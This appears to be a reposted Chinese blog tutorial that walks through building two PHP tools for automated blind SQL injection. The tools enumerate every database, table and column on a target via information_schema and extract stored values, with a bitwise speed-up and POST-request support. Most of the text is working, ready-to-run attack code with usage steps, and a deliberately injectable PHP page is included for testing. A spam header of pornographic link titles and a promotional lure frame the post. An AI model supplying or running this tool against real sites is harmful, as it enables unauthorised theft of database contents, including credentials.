日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

让你轻松学会PHP版自动化SQL盲注工具-全库-全表-全字段-全字段值查询

發布時間:2025/3/21 php 22 豆豆
生活随笔 收集整理的這篇文章主要介紹了 让你轻松学会PHP版自动化SQL盲注工具-全库-全表-全字段-全字段值查询 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言

由于一些個人原因,很久沒有研究WEB安全方面的一些問題了(廢話四個月前月還發了帖),正好炎炎夏日暑假的生活到來,這個時候我需要的是惡補,惡補,惡補。兜兜轉轉到了SQL盲注部分,然后在SQL盲注上面下了不少功夫,因為最初沒有怎么去理解它,都是拿著sqlmap一頓梭。原諒我非要把我的學習過程寫下來,取工具翻到最下最下最下就OK了。hhh。

information_schema圖

看什么看,這就是一張圖片

因為SQL盲注時注入數據會常用到information_schema庫,所以自己總結成一張圖片大家也抽空記憶一下

SQL盲注簡單又”復雜”的方法

針對于SQL盲注我們不會像聯合注入一樣非常輕松,有時需要burpsuite進行爆破,有時我們需要安裝sqlmap(沒有sqlmap我玩個寂寞啊),而有時結構復雜我們又非得自己寫工具,所以我們先看看關于SQL盲注的一些方法吧。
對于Mysql的內置函數,如database()等函數還是比較容易的。
在頁面返回true或false的情況下我們可以通過邏輯與運算,來進行判斷database()函數的長度,例如and length((select database()))=1、and length((select database()))=2、and length((select database()))=3…直到頁面返回true。隨后可以借助mid/substr字符串截取函數來進行一個一個字符的猜解。例如:and substr(database(),1,1)=’r’。那么當我們要進行獲取數據庫內的信息時,我們需要借助information_schema庫。但針對于SQL盲注來講,information_schema庫我們如果手工的話,可能這個夏天要過去了吧。
首先這里先了解一下盲注information_schema庫是怎么個玩法,再來編寫腳本。
我們要知道information_schema.schemata的schema_name有幾條(總共有幾個數據庫?),還要通過schema_name的條數來通過limit來對每一條的長度進行計算(我要得到的信息有幾位字母/數?),然后我們通過字符的長度來通過substr截取出來然后判斷每一個字符是什么(我要得到的信息是什么?)。好了,你成功的得到了一條數據。
我們的算法就是非常簡單,就是一個一個試,試一年,拿一個字符是一個字符,拿一條數據庫信息就是賺到,安全就是這么勤奮且有趣

針對于SQL盲注簡單又”復雜”的方法的PHP腳本編寫

<!DOCTYPE html> <html> <head><title>SQL盲注工具-.-By:T00ls</title><meta charset="utf-8"> </head> <body> <?php ini_set('max_execution_time',0); $dbname = isset($_GET['dbname']) ? $_GET['dbname'] : ''; $tablename = isset($_GET['tablename']) ? $_GET['tablename'] : ''; $columnname = isset($_GET['columnname']) ? $_GET['columnname'] : '';$_az = range('a','z'); $_AZ = range('A','Z'); $_19 = range('1','9'); $_other = array('@','_','.','%','/'); $_sum = array_merge($_az,$_AZ,$_19,$_other);$sqlUrl = 'http://www.phptest.com/6.php?id=1'; $okContent = file_get_contents($sqlUrl);if(!$dbname){$DBCount = 1;while(true){//獲取count$InjectionStatement = '+and+(select+count(schema_name)+from+information_schema.schemata)='.$DBCount.'+--+';$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);if($DBTesting == $okContent){break;}else{$DBCount ++;}}$DBLengthArr = array();for($i = 0; $i < $DBCount; $i++){$TempNum = 1;while(true){$InjectionStatement = '+and+length((select+schema_name+from+information_schema.schemata+limit+'.$i.',1))='.$TempNum.'+--+';$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);if($DBTesting == $okContent){$DBLengthArr[$i] = $TempNum;break;}else{$TempNum ++;}}}$DBNameArr = array();foreach ($DBLengthArr as $Llimit => $dblength) {for ($i=1; $i <= $dblength; $i++) { foreach ($_sum as $key => $value) {$InjectionStatement = '+and+mid((select+schema_name+from+information_schema.schemata+limit+'.$Llimit.',1),'.$i.',1)="'.$value.'"'.'+--+';$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);if($DBTesting == $okContent){$DBNameArr[$Llimit] .= $value;break;}}}}$DBName = implode('<br>',$DBNameArr);die('盲注完成,當前數據庫名稱有:<br>'.$DBName); }else{$InjectionStatement = '+and+find_in_set("'.$dbname.'",(SELECT+group_concat(schema_name,",")+FROM+information_schema.schemata+where+schema_name="'.$dbname.'"))'.'+--+';$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);if($DBTesting <> $okContent){die($dbname.'數據庫不存在,請重新復制粘貼,謝謝');} }if(!$tablename){$TBcountFlag = false;$TBlength = 1;while(true){$InjectionStatement = '+and+(SELECT+count(*)+FROM+information_schema.tables+WHERE+table_schema="'.$dbname.'")='.$TBlength.'+--+';if(file_get_contents($sqlUrl.$InjectionStatement) == $okContent){break;}else{$TBlength ++;}}$TBNameArr = array();$TBSubArr = array();for($i = 1; $i <= $TBlength; $i++){$TBFlag = 1;while(true){$InjectionStatement = '+and+(SELECT+length(table_name)+FROM+information_schema.tables+WHERE+table_schema="'.$dbname.'"+limit+'.($i-1).',1)='.$TBFlag.'+--+';$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);if($DBTesting == $okContent){$TBSubArr[$i-1] .= $TBFlag;break;}else{$TBFlag ++;}} }foreach ($TBSubArr as $k => $v) {for($j = 1; $j <= $v; $j++){foreach ($_sum as $key => $value) {$InjectionStatement = '+and+mid((SELECT+table_name+FROM+information_schema.tables+WHERE+table_schema="'.$dbname.'"+limit+'.$k.',1),'.$j.',1)="'.$value.'"'.'+--+';$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);if($DBTesting == $okContent){$TBNameArr[$k] .= $value;break;}}}}$TBstring = implode('<br>',$TBNameArr);die('盲注完成,數據庫'.$dbname.'所擁有的表:<br>'.$TBstring);}else{$InjectionStatement = '+and+find_in_set("'.$tablename.'",(SELECT+group_concat(table_name,",")+FROM+information_schema.tables+where+table_name="'.$tablename.'"+and+table_schema=+"'.$dbname.'"))'.'+--+';$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);if($DBTesting <> $okContent){die($tablename.'表不存在,請重新復制粘貼,謝謝');} }if(!$columnname){$ColumnCount = 1;while(true){$InjectionStatement = '+and+(select+count(column_name)+from+information_schema.columns+where+table_name="'.$tablename.'"+and+table_schema="'.$dbname.'")='.$ColumnCount.'+--+';$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);if($DBTesting == $okContent){break;}else{$ColumnCount ++;}}$EveryColumnCountArr = array();for ($i=0; $i < $ColumnCount; $i++) { $EveryColumnCount = 1;while (true) {$InjectionStatement = '+and+length((select+column_name+from+information_schema.columns+where+table_name="'.$tablename.'"+and+table_schema="'.$dbname.'"+limit+'.$i.',1))='.$EveryColumnCount.'+--+';$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);if($DBTesting == $okContent){$EveryColumnCountArr[$i] = $EveryColumnCount;break;}else{$EveryColumnCount ++;}}}$CMNameArr = array();foreach ($EveryColumnCountArr as $k => $v) { for($j = 1; $j <= $v; $j++){foreach ($_sum as $key => $value) {$InjectionStatement = '+and+mid((select+column_name+from+information_schema.columns+where+table_name="'.$tablename.'"+and+table_schema="'.$dbname.'"+limit+'.$k.',1),'.$j.',1)="'.$value.'"'.'+--+';$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);if($DBTesting == $okContent){$CMNameArr[$k] .= $value;break;}}}}$CMstring = implode('<br>',$CMNameArr);die('盲注完成,數據庫'.$dbname.'中'.$tablename.'表所擁有的字段:<br>'.$CMstring); }if($dbname && $tablename && $columnname){$strLen = 0;$columnTrueCount = '';$columnname = explode(',', $columnname);$columnCount = 1;while (true) {$InjectionStatement = '+and+(select+count('.$columnname[0].')+from+'.$dbname.'.'.$tablename.')='.$columnCount.'+--+';$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);if($DBTesting == $okContent){$columnTrueCount = $columnCount;break;}else{$columnCount ++;}}$columnLength = array();foreach ($columnname as $key => $value) {for ($i=0; $i < $columnTrueCount; $i++) {$flagLength = 1;while (true) {$InjectionStatement = '+and+length((select+'.$value.'+from+'.$dbname.'.'.$tablename.'+limit+'.$i.',1))="'.$flagLength.'"'.'+--+';$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);if($DBTesting == $okContent){$columnLength[$i][$value] = $flagLength;break;}else{$flagLength ++;}}}}$ColumnContent = array();foreach ($columnLength as $lTrim => $lTrimValue) {foreach ($lTrimValue as $columnNames => $columnNamesLength) {for ($i=1; $i <= $columnNamesLength; $i++) { foreach ($_sum as $key => $value) {$InjectionStatement = '+and+mid((select+'.$columnNames.'+from+'.$dbname.'.'.$tablename.'+limit+'.$lTrim.',1),'.$i.',1)="'.$value.'"'.'+--+';$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);if($DBTesting == $okContent){$ColumnContent[$lTrim][$columnNames] .= $value;break;}}}}} } ?> <table border=1><tbody><?php echo $dbname.'.'.$tablename.'下的'.implode('/',$columnname).'表';?></tbody><tr><?php foreach($columnname as $k=>$v):?><th><?php echo $v;?></th><?php endforeach;?></tr><?php foreach($ColumnContent as $k => $v):?><tr><?php foreach($v as $key=>$value):?><td><?php echo $value;?></td><?php endforeach;?></tr><?php endforeach;?> </table> </body> </html>

歸根到底,復習還是復習,雖然算法比較簡單明了,也是需要嘗試一遍,花了一些時間實現了0x02所說的編寫思路,吐槽一下,代碼還是要天天寫,很久沒寫確實寫法都不一樣了,上述代碼是完全通過面向過程編寫,都沒有封裝方法,導致我只實現了get請求的獲取方式。
然后找一處SQL盲注的頁面:

<?php$mysqli = new mysqli('localhost','root','root','選擇的數據庫',3306); if($mysqli -> connect_error){die($mysqli -> connect_errno); } $mysqli -> set_charset('utf8'); $sql = "SELECT * FROM `user` WHERE id={$_REQUEST['id']}"; //echo $_REQUEST['id']; $res = $mysqli -> query($sql); if($res){$row = $res->fetch_assoc();if($row){echo 'yes';}else{echo 'no';} }else{echo 'SQL語句錯誤'.$sql; }

使用說明書:
1.在21行中填寫我們要盲注的站點(注入類型必須為數字型)
2.在什么都不知道的情況下訪問一下該頁面。

可以看到完全一一對應
3.添加參數?dbname=要選擇查詢的數據庫

4.緊接著傳入參數tablename=要選擇查詢的表

5.傳入參數columnname=字段1,字段2…

通過Mysql位運算來優化訪問頻率

我們當然知道上面工具的執行效率,一個字,低!!!然而我們會想到二分法等算法來優化我們的代碼。但是這里給大家介紹的是Mysql位運算。
我們知道二分法是通過ascii碼來進行取大取小的,想到ascii碼就有趣了。如圖:字符a的ASCII碼值為97

那么我們看一下它的二進制

是1100001一共七位字符串,因為ASCII碼值1-127,十轉二進制255為最大,所以這里不會出現八位的情況。
那么我們通過substr/mid函數來依次截取二進制的第一位、二進制的第二位、…、二進制的第七位依次對1進行位運算中的與運算。
與運算圖:

然后通過與運算我們就可以獲取到數據的真正二進制數值,下面我們簡單獲取一下r字符的二進制碼。


將每次的結果進行拼接,可以得到r字母的ASCII值的二進制數。
那么我們進行二進制轉換為10進制,ASCII碼轉字符,即可知道數據的第一位是什么。
數據表中的每一位字符只需要七次就可以完成,比第一種方式快了許多許多。
那么我們這里要注意的是,mysql的bin函數結果不夠八位前面是沒有0字符的,因為我編寫腳本踩了坑,導致我盲注了一些非常古怪的字符。。。
我們通過mysql的lpad函數來進行前面補零,如圖:

還要注意的是數字類型返回六位二進制,如圖:

還好MySQL提供了補零函數,不然自己搞起來是真的麻煩。

整個邏輯搞清楚開始編寫位運算盲注代碼

Mysql位運算盲注代碼

這里為了不犯面向過程的錯誤,封裝了幾個方法,并且加入了POST請求盲注方式
代碼如下:

<!DOCTYPE html> <html> <head><title>SQL盲注工具-.-By:T00ls</title><meta charset="utf-8"> </head> <body> <?php ini_set('max_execution_time',0); $dbname = isset($_GET['dbname']) ? $_GET['dbname'] : ''; $tablename = isset($_GET['tablename']) ? $_GET['tablename'] : ''; $columnname = isset($_GET['columnname']) ? $_GET['columnname'] : ''; $method = isset($_GET['method']) ? $_GET['method'] : 'get';$InjectionUrl = 'http://www.phptest.com/6.php?id=1'; /* 如果遇到字符型SQL注入請在id前面添加單引號閉合 !!!*/if($method == 'post'){$data = array('id' => '1{\'_T00ls_}', /* {XXX_T00ls_} 如果遇到字符串型SQL注入,請將XXX部分改為單引號自行閉合 !!!*/'pass' => 'admin888');$okContentData = $data;function sendValue($sql){global $data,$InjectionUrl;$tempData = $data;foreach ($tempData as $key => $value) {preg_match('/\{.*?_T00ls_\}/', $value,$match);if($match[0]){$tempData[$key] = str_replace('_T00ls_', $sql, $value).' -- \\';$tempData[$key] = str_replace('{', '', $tempData[$key]);$tempData[$key] = str_replace('}', '', $tempData[$key]);//echo $tempData[$key].'<br>';}}$requestBody = http_build_query($tempData);$option = array('http' => array('method' => 'POST','header' => "Content-type: application/x-www-form-urlencoded\r\n"."Content-Length: " . mb_strlen($requestBody),'content' => $requestBody));$context = stream_context_create($option);$response = file_get_contents($InjectionUrl,false,$context);return $response;}foreach ($okContentData as $key => $value) {preg_match('/\{.*?_T00ls_\}/', $value,$okmatch);if($okmatch[0]){$okContentData[$key] = str_replace($okmatch[0], '', $value);}}$ok_requestBody = http_build_query($okContentData);$ok_option = array('http' => array('method' => 'POST','header' => "Content-type: application/x-www-form-urlencoded\r\n"."Content-Length: " . mb_strlen($ok_requestBody),'content' => $ok_requestBody));$ok_context = stream_context_create($ok_option);$okContent = file_get_contents($InjectionUrl,false,$ok_context);//echo $okContent;exit; }else{function sendValue($sql){global $InjectionUrl;$Url = $InjectionUrl.$sql.' -- \\';$result = file_get_contents($Url);return $result;}$okContent = file_get_contents($InjectionUrl.'+--+'); }if(!$dbname){$DBCount = 1;while(true){$InjectionStatement = ' and (SELECT count(SCHEMA_NAME) FROM information_schema.schemata)='.$DBCount;if(sendValue($InjectionStatement) == $okContent){break;}else{$DBCount ++;}}$DBEveryLength = array();for ($limit=0; $limit < $DBCount; $limit++) { $DBLength = 0;while(true){$InjectionStatement = " and length((SELECT SCHEMA_NAME FROM information_schema.schemata limit {$limit},1))={$DBLength}";if(sendValue($InjectionStatement) == $okContent){break;}else{$DBLength ++;}}$DBEveryLength[] = $DBLength;}$DBEveryString = array();foreach ($DBEveryLength as $limit => $maxLength) {for($substr = 1; $substr <= $maxLength; $substr++){$str = '0';for ($count=1; $count <= 7; $count++) { /*$InjectionStatement = " and substr(bin(ord(substr((SELECT SCHEMA_NAME FROM information_schema.schemata limit {$limit},1),{$substr},1))),{$count},1)%261";*/$InjectionStatement = " and substr(lpad(bin(ord(substr((SELECT SCHEMA_NAME FROM information_schema.schemata limit {$limit},1),{$substr},1))),7,0),{$count},1)%261";if(sendValue($InjectionStatement) == $okContent){$str .= 1;}else{$str .= 0;}}$DBEveryString[$limit] .= chr(bindec($str));}}$DBName = implode('<br>',$DBEveryString);die('盲注完成,當前數據庫名稱有:<br>'.$DBName); }if(!$tablename){$tableCount = 1;while(true){$InjectionStatement = " and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='{$dbname}')={$tableCount}";if(sendValue($InjectionStatement) == $okContent){break;}else{$tableCount ++;}}$tableLengthArr = array();for ($limit=0; $limit < $tableCount; $limit++) { $tableLength = 0;while (true) {$InjectionStatement = " and length((SELECT table_name FROM information_schema.tables WHERE table_schema='{$dbname}' limit {$limit},1))={$tableLength}";if(sendValue($InjectionStatement) == $okContent){break;}else{$tableLength ++;}}$tableLengthArr[] = $tableLength;}$TBEveryString = array();foreach ($tableLengthArr as $limit => $max_length) {for ($substr = 1; $substr <= $max_length; $substr++) { $str = '0';for ($count = 1; $count <= 7; $count++) { $InjectionStatement = " and substr(lpad(bin(ord(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='{$dbname}' limit {$limit},1),{$substr},1))),7,0),{$count},1)%261";if(sendValue($InjectionStatement) == $okContent){$str .= 1;}else{$str .= 0;}}$TBEveryString[$limit] .= chr(bindec($str));}}$TBName = implode('<br>',$TBEveryString);die("盲注完成,當前{$dbname}數據庫名稱有:<br>".$TBName); }if(!$columnname){$columnCount = 1;while(true){$InjectionStatement = " and (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema='{$dbname}' AND table_name='{$tablename}')={$columnCount}";if(sendValue($InjectionStatement) == $okContent){break;}else{$columnCount ++;}}$columnLengthArr = array();for ($limit=0; $limit < $columnCount; $limit++) { $columnLength = 0;while (true) {$InjectionStatement = " and length((SELECT column_name FROM information_schema.columns WHERE table_schema='{$dbname}' AND table_name='{$tablename}' limit {$limit},1))={$columnLength}";if(sendValue($InjectionStatement) == $okContent){break;}else{$columnLength ++;}}$columnLengthArr[] = $columnLength;}$CNEveryString = array();foreach ($columnLengthArr as $limit => $max_length) {for ($substr = 1; $substr <= $max_length; $substr++) { $str = '0';for ($count = 1; $count <= 7; $count++) { $InjectionStatement = " and substr(lpad(bin(ord(substr((SELECT column_name FROM information_schema.columns WHERE table_schema='{$dbname}' and table_name='{$tablename}' limit {$limit},1),{$substr},1))),7,0),{$count},1)%261";if(sendValue($InjectionStatement) == $okContent){$str .= 1;}else{$str .= 0;}}$CNEveryString[$limit] .= chr(bindec($str));}}$CNName = implode('<br>',$CNEveryString);die("盲注完成,當前{$dbname}數據庫{$tablename}表名稱有:<br>".$CNName); }if($dbname && $tablename && $columnname){$strLen = 0;$columnTrueCount = '';$columnname = explode(',', $columnname);$columnCount = 1;while (true) {$InjectionStatement = ' and (select count('.$columnname[0].') from '.$dbname.'.'.$tablename.')='.$columnCount;if(sendValue($InjectionStatement) == $okContent){$columnTrueCount = $columnCount;break;}else{$columnCount ++;}}$columnLength = array();foreach ($columnname as $key => $value) {for ($i=0; $i < $columnTrueCount; $i++) {$flagLength = 1;while (true) {$InjectionStatement = ' and length((select '.$value.' from '.$dbname.'.'.$tablename.' limit '.$i.',1))="'.$flagLength.'"';if(sendValue($InjectionStatement) == $okContent){$columnLength[$i][$value] = $flagLength;break;}else{$flagLength ++;}}}}$ColumnContent = array();foreach ($columnLength as $lTrim => $lTrimValue) {foreach ($lTrimValue as $columnNames => $columnNamesLength) {for ($i=1; $i <= $columnNamesLength; $i++) { $str = 0;for ($k=1; $k <= 7; $k++) { $InjectionStatement = " and substr(lpad(bin(ord(mid((SELECT {$columnNames} FROM {$dbname}.{$tablename} limit {$lTrim},1),{$i},1))),7,0),{$k},1)%261";if(sendValue($InjectionStatement) == $okContent){$str .= 1;}else{$str .= 0;}}$ColumnContent[$lTrim][$columnNames] .= chr(bindec($str));}}} } ?> <table border=1><tbody><?php echo $dbname.'.'.$tablename.'下的'.implode('/',$columnname).'表';?></tbody><tr><?php foreach($columnname as $k=>$v):?><th><?php echo $v;?></th><?php endforeach;?></tr><?php foreach($ColumnContent as $k => $v):?><tr><?php foreach($v as $key=>$value):?><td><?php echo $value;?></td><?php endforeach;?></tr><?php endforeach;?> </table> </body> </html>

使用說明書:
1.還是之前的?dbname&tablename&columnname來進行獲取數據
2.添加?method=get/post來表明通過哪種方式盲注,如圖:

3.若要進行POST請求請在19-20行設置字段,如圖:

4.GET請求如果遇到字符串類型也需要自行閉合單引號,如圖:

工具使用注意事項

因為工具由PHP編寫,而SQL盲注屬于較大的工程,比較耗時間,PHP容器有時可能會報503超時錯誤,我們需要在nginx.conf文件中添加如下配置項
fastcgi_connect_timeout 300;
fastcgi_send_timeout 300;
fastcgi_read_timeout 300;

尾巴

頂個帖子,謝謝閱讀完,想看更多內容請到主頁觀看!!!

白嫖怪的福音來了

免費領取價值11980安全學習資料包

總結

以上是生活随笔為你收集整理的让你轻松学会PHP版自动化SQL盲注工具-全库-全表-全字段-全字段值查询的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。